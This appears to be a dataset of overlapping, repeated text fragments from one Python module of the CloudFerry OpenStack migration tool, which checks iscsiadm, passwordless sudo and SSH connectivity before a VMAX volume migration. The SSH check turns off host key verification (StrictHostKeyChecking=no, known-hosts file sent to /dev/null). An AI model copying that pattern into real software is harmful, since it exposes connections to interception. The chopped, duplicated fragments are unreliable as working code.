local.sudo('ls') except local.LocalExecutionFailed: msg = (\"CloudFerry is running as '{user}' user,","nodes. To verify run \" \"'{ssh_cmd}' from '{src_host}' node\") msg = msg.format(src_host=src_host, dst_host=dst_host,","def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user != 'root' and \\ self.cfg.migrate.local_sudo_password is","password in \" \"`local_sudo_password` config option, or run \" \"CloudFerry as root user.\").format(user=current_user)","logging from cloudferry.lib.base import exception from cloudferry.lib.base.action import action from cloudferry.lib.utils import local","except local.LocalExecutionFailed: msg = (\"CloudFerry is running as '{user}' user, but \" \"passwordless","volume migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if iscsiadm tool is installed\") try: local.run('iscsiadm --help","src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\"Checking ssh connectivity between","required for NFS to VMAX iSCSI cinder volume migration\"\"\" def _iscsiadm_is_installed_locally(self): LOG.info(\"Checking if","msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend","is not available on the local host. Please \" \"install iscsiadm tool on","running as '{user}' user, but \" \"passwordless sudo does not seem to be","remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \"ssh {opts}","the License. import getpass import logging from cloudferry.lib.base import exception from cloudferry.lib.base.action import","and # limitations under the License. import getpass import logging from cloudferry.lib.base import","installed\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg = (\"iscsiadm is not available","cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \"\"\"This verifies prerequisites required for","LOG.info(\"Checking if iscsiadm tool is installed\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg","either specify password in \" \"`local_sudo_password` config option, or run \" \"CloudFerry as","raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend != 'iscsi-vmax': return self._iscsiadm_is_installed_locally() self._ssh_connectivity_between_controllers() self._check_local_sudo_password_set()","local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg = (\"iscsiadm is not available on the","distributed under the License is distributed on an \"AS IS\" BASIS, # WITHOUT","'{user}' user, but \" \"passwordless sudo does not seem to be configured on","{user}@{host} 'echo ok'\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\"No ssh","does not seem to be configured on \" \"current host. Please either specify"],"string":"[\n \"except local.LocalExecutionFailed: msg = (\\\"iscsiadm is not available on the local host. Please\",\n \"and '%s'\\\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null '\",\n \"KIND, either express or implied. # See the License for the specific language\",\n \"Unless required by applicable law or agreed to in writing, software # distributed\",\n \"LOG.info(\\\"Checking ssh connectivity between '%s' and '%s'\\\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user)\",\n \"available on the local host. Please \\\" \\\"install iscsiadm tool on the node\",\n \"iscsiadm is \\\" \\\"mandatory for migrations with EMC VMAX cinder backend\\\") LOG.error(msg) raise\",\n \"is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\\\"CloudFerry is running as '{user}'\",\n \"iSCSI cinder volume migration\\\"\\\"\\\" def _iscsiadm_is_installed_locally(self): LOG.info(\\\"Checking if iscsiadm tool is installed\\\") try:\",\n \"def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user =\",\n \"specify password in \\\" \\\"`local_sudo_password` config option, or run \\\" \\\"CloudFerry as root\",\n \"cinder backend\\\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user !=\",\n \"_ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user\",\n \"import local from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \\\"\\\"\\\"This verifies\",\n \"as root user.\\\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user =\",\n \"self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\\\"Checking ssh connectivity\",\n \"\\\" \\\"'{ssh_cmd}' from '{src_host}' node\\\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg)\",\n \"this file except in compliance with the License. # You may obtain a\",\n \"' '-o StrictHostKeyChecking=no') cmd = \\\"ssh {opts} {user}@{host} 'echo ok'\\\".format(opts=ssh_opts, user=dst_user, host=dst_host) try:\",\n \"cinder backend for migration. iscsiadm is \\\" \\\"mandatory for migrations with EMC VMAX\",\n \"remote_runner.RemoteExecutionError: msg = (\\\"No ssh connectivity between source host '{src_host}' and \\\" \\\"destination\",\n \"tool is installed\\\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg = (\\\"iscsiadm is\",\n \"ANY KIND, either express or implied. # See the License for the specific\",\n \"except remote_runner.RemoteExecutionError: msg = (\\\"No ssh connectivity between source host '{src_host}' and \\\"\",\n \"= (\\\"iscsiadm is not available on the local host. Please \\\" \\\"install iscsiadm\",\n \"seem to be configured on \\\" \\\"current host. Please either specify password in\",\n \"if iscsiadm tool is installed\\\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg =\",\n \"raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user != 'root' and \\\\\",\n \"specific language governing permissions and # limitations under the License. import getpass import\",\n \"= self.cfg.dst.ssh_user LOG.info(\\\"Checking ssh connectivity between '%s' and '%s'\\\", src_host, dst_host) rr =\",\n \"WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See\",\n \"src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\\\"Checking\",\n \"the local host. Please \\\" \\\"install iscsiadm tool on the node you running\",\n \"IS\\\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\",\n \"src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \\\"ssh {opts} {user}@{host}\",\n \"OF ANY KIND, either express or implied. # See the License for the\",\n \"Copyright 2016 Mirantis Inc. # # Licensed under the Apache License, Version 2.0\",\n \"from cloudferry.lib.base.action import action from cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner LOG\",\n \"between '%s' and '%s'\\\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o\",\n \"import getpass import logging from cloudferry.lib.base import exception from cloudferry.lib.base.action import action from\",\n \"not seem to be configured on \\\" \\\"current host. Please either specify password\",\n \"from '{src_host}' node\\\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self,\",\n \"\\\"ssh {opts} {user}@{host} 'echo ok'\\\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg =\",\n \"with EMC VMAX cinder backend\\\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser()\",\n \"'echo ok'\\\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\\\"No ssh connectivity\",\n \"prerequisites required for NFS to VMAX iSCSI cinder volume migration\\\"\\\"\\\" def _iscsiadm_is_installed_locally(self): LOG.info(\\\"Checking\",\n \"msg = (\\\"iscsiadm is not available on the local host. Please \\\" \\\"install\",\n \"run \\\" \\\"'{ssh_cmd}' from '{src_host}' node\\\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise\",\n \"node\\\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if\",\n \"software # distributed under the License is distributed on an \\\"AS IS\\\" BASIS,\",\n \"migration\\\"\\\"\\\" def _iscsiadm_is_installed_locally(self): LOG.info(\\\"Checking if iscsiadm tool is installed\\\") try: local.run('iscsiadm --help &>/dev/null')\",\n \"= self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\\\"Checking ssh connectivity between '%s'\",\n \"\\\" \\\"mandatory for migrations with EMC VMAX cinder backend\\\") LOG.error(msg) raise exception.AbortMigrationError(msg) def\",\n \"# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to\",\n \"\\\"\\\"\\\"This verifies prerequisites required for NFS to VMAX iSCSI cinder volume migration\\\"\\\"\\\" def\",\n \"exception from cloudferry.lib.base.action import action from cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner\",\n \"correct configuration on these nodes. To verify run \\\" \\\"'{ssh_cmd}' from '{src_host}' node\\\")\",\n \"EMC VMAX cinder backend\\\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if\",\n \"under the License is distributed on an \\\"AS IS\\\" BASIS, # WITHOUT WARRANTIES\",\n \"the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law\",\n \"LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend != 'iscsi-vmax': return self._iscsiadm_is_installed_locally() self._ssh_connectivity_between_controllers()\",\n \"import action from cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__)\",\n \"user, but \\\" \\\"passwordless sudo does not seem to be configured on \\\"\",\n \"in \\\" \\\"`local_sudo_password` config option, or run \\\" \\\"CloudFerry as root user.\\\").format(user=current_user) LOG.error(msg)\",\n \"\\\"passwordless sudo does not seem to be configured on \\\" \\\"current host. Please\",\n \"\\\"AS IS\\\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express\",\n \"current_user != 'root' and \\\\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg\",\n \"required by applicable law or agreed to in writing, software # distributed under\",\n \"ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend != 'iscsi-vmax': return self._iscsiadm_is_installed_locally()\",\n \"have keys \\\" \\\"and correct configuration on these nodes. To verify run \\\"\",\n \"applicable law or agreed to in writing, software # distributed under the License\",\n \"self.cfg.dst.ssh_user LOG.info(\\\"Checking ssh connectivity between '%s' and '%s'\\\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host,\",\n \"or agreed to in writing, software # distributed under the License is distributed\",\n \"CONDITIONS OF ANY KIND, either express or implied. # See the License for\",\n \"import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \\\"\\\"\\\"This verifies prerequisites required for NFS\",\n \"\\\"CloudFerry as root user.\\\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user\",\n \"\\\"install iscsiadm tool on the node you running on or \\\" \\\"choose other\",\n \"--help &>/dev/null') except local.LocalExecutionFailed: msg = (\\\"iscsiadm is not available on the local\",\n \"UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \\\"ssh {opts} {user}@{host} 'echo ok'\\\".format(opts=ssh_opts, user=dst_user, host=dst_host)\",\n \"(\\\"No ssh connectivity between source host '{src_host}' and \\\" \\\"destination host '{dst_host}'. Make\",\n \"under the Apache License, Version 2.0 (the \\\"License\\\"); # you may not use\",\n \"and \\\\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\\\"CloudFerry is\",\n \"writing, software # distributed under the License is distributed on an \\\"AS IS\\\"\",\n \"keys \\\" \\\"and correct configuration on these nodes. To verify run \\\" \\\"'{ssh_cmd}'\",\n \"You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #\",\n \"= \\\"ssh {opts} {user}@{host} 'echo ok'\\\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg\",\n \"on the local host. Please \\\" \\\"install iscsiadm tool on the node you\",\n \"Mirantis Inc. # # Licensed under the Apache License, Version 2.0 (the \\\"License\\\");\",\n \"License. # You may obtain a copy of the License at # #\",\n \"try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\\\"CloudFerry is running as '{user}' user, but\",\n \"self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\\\"Checking ssh connectivity between '%s' and\",\n \"host '{src_host}' and \\\" \\\"destination host '{dst_host}'. Make sure you have keys \\\"\",\n \"not available on the local host. Please \\\" \\\"install iscsiadm tool on the\",\n \"\\\"`local_sudo_password` config option, or run \\\" \\\"CloudFerry as root user.\\\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg)\",\n \"compliance with the License. # You may obtain a copy of the License\",\n \"StrictHostKeyChecking=no') cmd = \\\"ssh {opts} {user}@{host} 'echo ok'\\\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except\",\n \"for the specific language governing permissions and # limitations under the License. import\",\n \"of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable\",\n \"= self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\\\"Checking ssh connectivity between '%s' and '%s'\\\", src_host,\",\n \"configured on \\\" \\\"current host. Please either specify password in \\\" \\\"`local_sudo_password` config\",\n \"CheckVMAXPrerequisites(action.Action): \\\"\\\"\\\"This verifies prerequisites required for NFS to VMAX iSCSI cinder volume migration\\\"\\\"\\\"\",\n \"not use this file except in compliance with the License. # You may\",\n \"host. Please either specify password in \\\" \\\"`local_sudo_password` config option, or run \\\"\",\n \"local.sudo('ls') except local.LocalExecutionFailed: msg = (\\\"CloudFerry is running as '{user}' user, but \\\"\",\n \"License, Version 2.0 (the \\\"License\\\"); # you may not use this file except\",\n \"\\\" \\\"`local_sudo_password` config option, or run \\\" \\\"CloudFerry as root user.\\\").format(user=current_user) LOG.error(msg) raise\",\n \"distributed on an \\\"AS IS\\\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY\",\n \"permissions and # limitations under the License. import getpass import logging from cloudferry.lib.base\",\n \"but \\\" \\\"passwordless sudo does not seem to be configured on \\\" \\\"current\",\n \"ok'\\\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\\\"No ssh connectivity between\",\n \"# you may not use this file except in compliance with the License.\",\n \"be configured on \\\" \\\"current host. Please either specify password in \\\" \\\"`local_sudo_password`\",\n \"agreed to in writing, software # distributed under the License is distributed on\",\n \"src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no')\",\n \"\\\"mandatory for migrations with EMC VMAX cinder backend\\\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self):\",\n \"{opts} {user}@{host} 'echo ok'\\\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\\\"No\",\n \"# limitations under the License. import getpass import logging from cloudferry.lib.base import exception\",\n \"rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\\\"No ssh connectivity between source host '{src_host}' and\",\n \"NFS to VMAX iSCSI cinder volume migration\\\"\\\"\\\" def _iscsiadm_is_installed_locally(self): LOG.info(\\\"Checking if iscsiadm tool\",\n \"(the \\\"License\\\"); # you may not use this file except in compliance with\",\n \"the specific language governing permissions and # limitations under the License. import getpass\",\n \"action from cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class\",\n \"logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \\\"\\\"\\\"This verifies prerequisites required for NFS to VMAX iSCSI cinder\",\n \"iscsiadm tool on the node you running on or \\\" \\\"choose other cinder\",\n \"# Unless required by applicable law or agreed to in writing, software #\",\n \"by applicable law or agreed to in writing, software # distributed under the\",\n \"configuration on these nodes. To verify run \\\" \\\"'{ssh_cmd}' from '{src_host}' node\\\") msg\",\n \"copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by\",\n \"as '{user}' user, but \\\" \\\"passwordless sudo does not seem to be configured\",\n \"run \\\" \\\"CloudFerry as root user.\\\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host =\",\n \"governing permissions and # limitations under the License. import getpass import logging from\",\n \"'{dst_host}'. Make sure you have keys \\\" \\\"and correct configuration on these nodes.\",\n \"Inc. # # Licensed under the Apache License, Version 2.0 (the \\\"License\\\"); #\",\n \"on \\\" \\\"current host. Please either specify password in \\\" \\\"`local_sudo_password` config option,\",\n \"= ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd = \\\"ssh {opts} {user}@{host} 'echo ok'\\\".format(opts=ssh_opts,\",\n \"dst_host = self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\\\"Checking ssh connectivity between '%s' and '%s'\\\",\",\n \"file except in compliance with the License. # You may obtain a copy\",\n \"# Copyright 2016 Mirantis Inc. # # Licensed under the Apache License, Version\",\n \"(\\\"iscsiadm is not available on the local host. Please \\\" \\\"install iscsiadm tool\",\n \"user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\\\"No ssh connectivity between source\",\n \"License for the specific language governing permissions and # limitations under the License.\",\n \"you have keys \\\" \\\"and correct configuration on these nodes. To verify run\",\n \"\\\"choose other cinder backend for migration. iscsiadm is \\\" \\\"mandatory for migrations with\",\n \"from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \\\"\\\"\\\"This verifies prerequisites required\",\n \"under the License. import getpass import logging from cloudferry.lib.base import exception from cloudferry.lib.base.action\",\n \"cmd = \\\"ssh {opts} {user}@{host} 'echo ok'\\\".format(opts=ssh_opts, user=dst_user, host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError:\",\n \"to in writing, software # distributed under the License is distributed on an\",\n \"import exception from cloudferry.lib.base.action import action from cloudferry.lib.utils import local from cloudferry.lib.utils import\",\n \"implied. # See the License for the specific language governing permissions and #\",\n \"\\\\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\\\"CloudFerry is running\",\n \"\\\"License\\\"); # you may not use this file except in compliance with the\",\n \"obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless\",\n \"iscsiadm tool is installed\\\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg = (\\\"iscsiadm\",\n \"LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host =\",\n \"'%s'\\\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o\",\n \"2016 Mirantis Inc. # # Licensed under the Apache License, Version 2.0 (the\",\n \"ssh connectivity between source host '{src_host}' and \\\" \\\"destination host '{dst_host}'. Make sure\",\n \"or implied. # See the License for the specific language governing permissions and\",\n \"node you running on or \\\" \\\"choose other cinder backend for migration. iscsiadm\",\n \"current_user = getpass.getuser() if current_user != 'root' and \\\\ self.cfg.migrate.local_sudo_password is None: try:\",\n \"Apache License, Version 2.0 (the \\\"License\\\"); # you may not use this file\",\n \"cloudferry.lib.base.action import action from cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner LOG =\",\n \"OR CONDITIONS OF ANY KIND, either express or implied. # See the License\",\n \"may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #\",\n \"_check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user != 'root' and \\\\ self.cfg.migrate.local_sudo_password is None:\",\n \"dst_user = self.cfg.dst.ssh_user LOG.info(\\\"Checking ssh connectivity between '%s' and '%s'\\\", src_host, dst_host) rr\",\n \"http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,\",\n \"in writing, software # distributed under the License is distributed on an \\\"AS\",\n \"(\\\"CloudFerry is running as '{user}' user, but \\\" \\\"passwordless sudo does not seem\",\n \"host '{dst_host}'. Make sure you have keys \\\" \\\"and correct configuration on these\",\n \"limitations under the License. import getpass import logging from cloudferry.lib.base import exception from\",\n \"verifies prerequisites required for NFS to VMAX iSCSI cinder volume migration\\\"\\\"\\\" def _iscsiadm_is_installed_locally(self):\",\n \"config option, or run \\\" \\\"CloudFerry as root user.\\\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def\",\n \"is running as '{user}' user, but \\\" \\\"passwordless sudo does not seem to\",\n \"between source host '{src_host}' and \\\" \\\"destination host '{dst_host}'. Make sure you have\",\n \"to be configured on \\\" \\\"current host. Please either specify password in \\\"\",\n \"# See the License for the specific language governing permissions and # limitations\",\n \"the License is distributed on an \\\"AS IS\\\" BASIS, # WITHOUT WARRANTIES OR\",\n \"running on or \\\" \\\"choose other cinder backend for migration. iscsiadm is \\\"\",\n \"migrations with EMC VMAX cinder backend\\\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user =\",\n \"verify run \\\" \\\"'{ssh_cmd}' from '{src_host}' node\\\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg)\",\n \"&>/dev/null') except local.LocalExecutionFailed: msg = (\\\"iscsiadm is not available on the local host.\",\n \"remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \\\"\\\"\\\"This verifies prerequisites required for NFS to\",\n \"try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg = (\\\"iscsiadm is not available on\",\n \"or run \\\" \\\"CloudFerry as root user.\\\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host\",\n \"from cloudferry.lib.base import exception from cloudferry.lib.base.action import action from cloudferry.lib.utils import local from\",\n \"VMAX iSCSI cinder volume migration\\\"\\\"\\\" def _iscsiadm_is_installed_locally(self): LOG.info(\\\"Checking if iscsiadm tool is installed\\\")\",\n \"Make sure you have keys \\\" \\\"and correct configuration on these nodes. To\",\n \"LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \\\"\\\"\\\"This verifies prerequisites required for NFS to VMAX\",\n \"the Apache License, Version 2.0 (the \\\"License\\\"); # you may not use this\",\n \"you may not use this file except in compliance with the License. #\",\n \"tool on the node you running on or \\\" \\\"choose other cinder backend\",\n \"and \\\" \\\"destination host '{dst_host}'. Make sure you have keys \\\" \\\"and correct\",\n \"def _iscsiadm_is_installed_locally(self): LOG.info(\\\"Checking if iscsiadm tool is installed\\\") try: local.run('iscsiadm --help &>/dev/null') except\",\n \"use this file except in compliance with the License. # You may obtain\",\n \"= (\\\"No ssh connectivity between source host '{src_host}' and \\\" \\\"destination host '{dst_host}'.\",\n \"on or \\\" \\\"choose other cinder backend for migration. iscsiadm is \\\" \\\"mandatory\",\n \"# Licensed under the Apache License, Version 2.0 (the \\\"License\\\"); # you may\",\n \"from cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action):\",\n \"exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user != 'root' and \\\\ self.cfg.migrate.local_sudo_password\",\n \"you running on or \\\" \\\"choose other cinder backend for migration. iscsiadm is\",\n \"backend for migration. iscsiadm is \\\" \\\"mandatory for migrations with EMC VMAX cinder\",\n \"these nodes. To verify run \\\" \\\"'{ssh_cmd}' from '{src_host}' node\\\") msg = msg.format(src_host=src_host,\",\n \"= (\\\"CloudFerry is running as '{user}' user, but \\\" \\\"passwordless sudo does not\",\n \"sudo does not seem to be configured on \\\" \\\"current host. Please either\",\n \"rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null ' '-o StrictHostKeyChecking=no') cmd =\",\n \"'%s' and '%s'\\\", src_host, dst_host) rr = remote_runner.RemoteRunner(src_host, src_user) ssh_opts = ('-o UserKnownHostsFile=/dev/null\",\n \"2.0 (the \\\"License\\\"); # you may not use this file except in compliance\",\n \"self.cfg.dst.ssh_host dst_user = self.cfg.dst.ssh_user LOG.info(\\\"Checking ssh connectivity between '%s' and '%s'\\\", src_host, dst_host)\",\n \"on these nodes. To verify run \\\" \\\"'{ssh_cmd}' from '{src_host}' node\\\") msg =\",\n \"Please either specify password in \\\" \\\"`local_sudo_password` config option, or run \\\" \\\"CloudFerry\",\n \"Please \\\" \\\"install iscsiadm tool on the node you running on or \\\"\",\n \"WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the\",\n \"is installed\\\") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg = (\\\"iscsiadm is not\",\n \"migration. iscsiadm is \\\" \\\"mandatory for migrations with EMC VMAX cinder backend\\\") LOG.error(msg)\",\n \"# # Unless required by applicable law or agreed to in writing, software\",\n \"express or implied. # See the License for the specific language governing permissions\",\n \"local.LocalExecutionFailed: msg = (\\\"iscsiadm is not available on the local host. Please \\\"\",\n \"local host. Please \\\" \\\"install iscsiadm tool on the node you running on\",\n \"getpass.getuser() if current_user != 'root' and \\\\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except\",\n \"\\\"and correct configuration on these nodes. To verify run \\\" \\\"'{ssh_cmd}' from '{src_host}'\",\n \"sure you have keys \\\" \\\"and correct configuration on these nodes. To verify\",\n \"either express or implied. # See the License for the specific language governing\",\n \"for migrations with EMC VMAX cinder backend\\\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user\",\n \"cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner LOG = logging.getLogger(__name__) class CheckVMAXPrerequisites(action.Action): \\\"\\\"\\\"This\",\n \"VMAX cinder backend\\\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user\",\n \"Licensed under the Apache License, Version 2.0 (the \\\"License\\\"); # you may not\",\n \"an \\\"AS IS\\\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\",\n \"'{src_host}' node\\\") msg = msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs):\",\n \"for NFS to VMAX iSCSI cinder volume migration\\\"\\\"\\\" def _iscsiadm_is_installed_locally(self): LOG.info(\\\"Checking if iscsiadm\",\n \"'{src_host}' and \\\" \\\"destination host '{dst_host}'. Make sure you have keys \\\" \\\"and\",\n \"'root' and \\\\ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg = (\\\"CloudFerry\",\n \"user.\\\").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host\",\n \"local.LocalExecutionFailed: msg = (\\\"CloudFerry is running as '{user}' user, but \\\" \\\"passwordless sudo\",\n \"host=dst_host) try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\\\"No ssh connectivity between source host\",\n \"the License. # You may obtain a copy of the License at #\",\n \"other cinder backend for migration. iscsiadm is \\\" \\\"mandatory for migrations with EMC\",\n \"# distributed under the License is distributed on an \\\"AS IS\\\" BASIS, #\",\n \"backend\\\") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user != 'root'\",\n \"= msg.format(src_host=src_host, dst_host=dst_host, ssh_cmd=cmd) LOG.error(msg) raise exception.AbortMigrationError(msg) def run(self, **kwargs): if self.cfg.dst_storage.backend !=\",\n \"is distributed on an \\\"AS IS\\\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF\",\n \"the node you running on or \\\" \\\"choose other cinder backend for migration.\",\n \"exception.AbortMigrationError(msg) def _ssh_connectivity_between_controllers(self): src_host = self.cfg.src.ssh_host src_user = self.cfg.src.ssh_user dst_host = self.cfg.dst.ssh_host dst_user\",\n \"LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user != 'root' and\",\n \"try: rr.run(cmd) except remote_runner.RemoteExecutionError: msg = (\\\"No ssh connectivity between source host '{src_host}'\",\n \"source host '{src_host}' and \\\" \\\"destination host '{dst_host}'. Make sure you have keys\",\n \"with the License. # You may obtain a copy of the License at\",\n \"cloudferry.lib.base import exception from 